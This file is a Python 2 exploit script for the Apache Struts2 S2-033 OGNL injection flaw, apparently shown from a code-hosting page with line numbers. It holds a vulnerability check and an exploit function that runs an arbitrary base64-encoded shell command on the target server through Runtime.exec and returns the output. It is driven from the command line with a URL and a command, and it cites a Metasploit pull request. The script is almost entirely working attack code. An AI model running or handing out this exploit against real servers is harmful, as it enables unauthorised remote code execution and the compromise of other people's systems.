1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 |
#!/usr/bin/python # -*- coding: utf-8 -*- import requests import random import base64 upperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lowerAlpha = "abcdefghijklmnopqrstuvwxyz" numerals = "0123456789" allchars = [chr(_) for _ in xrange(0x00, 0xFF + 0x01)] def rand_base(length, bad, chars): '''generate a random string with chars collection''' cset = (set(chars) - set(list(bad))) if len(cset) == 0: return "" chars = [list(cset)[random.randrange(len(cset))] for i in xrange(length)] chars = map(str, chars) return "".join(chars) def rand_char(bad='', chars=allchars): '''generate a random char with chars collection''' return rand_base(1, bad, chars) def rand_text(length, bad='', chars=allchars): '''generate a random string (cab be with unprintable chars)''' return rand_base(length, bad, chars) def rand_text_alpha(length, bad=''): '''generate a random string with alpha chars''' chars = upperAlpha + lowerAlpha return rand_base(length, bad, set(chars)) def rand_text_alpha_lower(length, bad=''): '''generate a random lower string with alpha chars''' return rand_base(length, bad, set(lowerAlpha)) def rand_text_alpha_upper(length, bad=''): '''generate a random upper string with alpha chars''' return rand_base(length, bad, set(upperAlpha)) def rand_text_alphanumeric(): '''generate a random string with alpha and numerals chars''' chars = upperAlpha + lowerAlpha + numerals return rand_base(length, bad, set(chars)) def rand_text_numeric(length, bad=''): '''generate a random string with numerals chars''' return rand_base(length, bad, set(numerals)) def generate_rce_payload(code): '''generate apache struts2 s2-033 payload. ''' payload = "" payload += requests.utils.quote("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") payload += "," payload += requests.utils.quote(code) payload += "," payload += requests.utils.quote("#xx.toString.json") payload += "?" payload += requests.utils.quote("#xx:#request.toString") return payload def check(url): '''check if url is vulnerable to apache struts2 S2-033. ''' var_a = rand_text_alpha(4) var_b = rand_text_alpha(4) flag = rand_text_alpha(5) addend_one = int(rand_text_numeric(2)) addend_two = int(rand_text_numeric(2)) addend_sum = addend_one + addend_two code = "#{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," code += "#{var_a}.print(#parameters.{var_b}[0])," code += "#{var_a}.print(new java.lang.Integer({addend_one}+{addend_two}))," code += "#{var_a}.print(#parameters.{var_b}[0])," code += "#{var_a}.close()" payload = generate_rce_payload(code.format( var_a=var_a, var_b=var_b, addend_one=addend_one, addend_two=addend_two )) url = url + "/" + payload resp = requests.post(url, data={ var_b: flag }, timeout=8) vul_flag = "{flag}{addend_sum}{flag}".format(flag=flag, addend_sum=addend_sum) if resp and resp.status_code == 200 and vul_flag in resp.text: return True, resp.text return False, '' def exploit(url, cmd): '''exploit url with apache struts2 S2-033. ''' var_a = rand_text_alpha(4) var_b = rand_text_alpha(4) # cmd code ="#{var_a}=new sun.misc.BASE64Decoder()," # code += "@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))"# Error 500 code += "#wr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," code += "#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0]))))," code += "#wr.println(#rs),#wr.flush(),#wr.close()" payload = generate_rce_payload(code.format( var_a=var_a, var_b=var_b )) url = url + "/" + payload requests.post(url, data={ var_b: base64.b64encode(cmd) }, timeout=8) if __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] python {} <url> <cmd>".format(sys.argv[0])) sys.exit(1) url = sys.argv[1] cmd = sys.argv[2] print(check(url)) exploit(url, cmd) ## References # 1. https://github.com/rapid7/metasploit-framework/pull/6945 |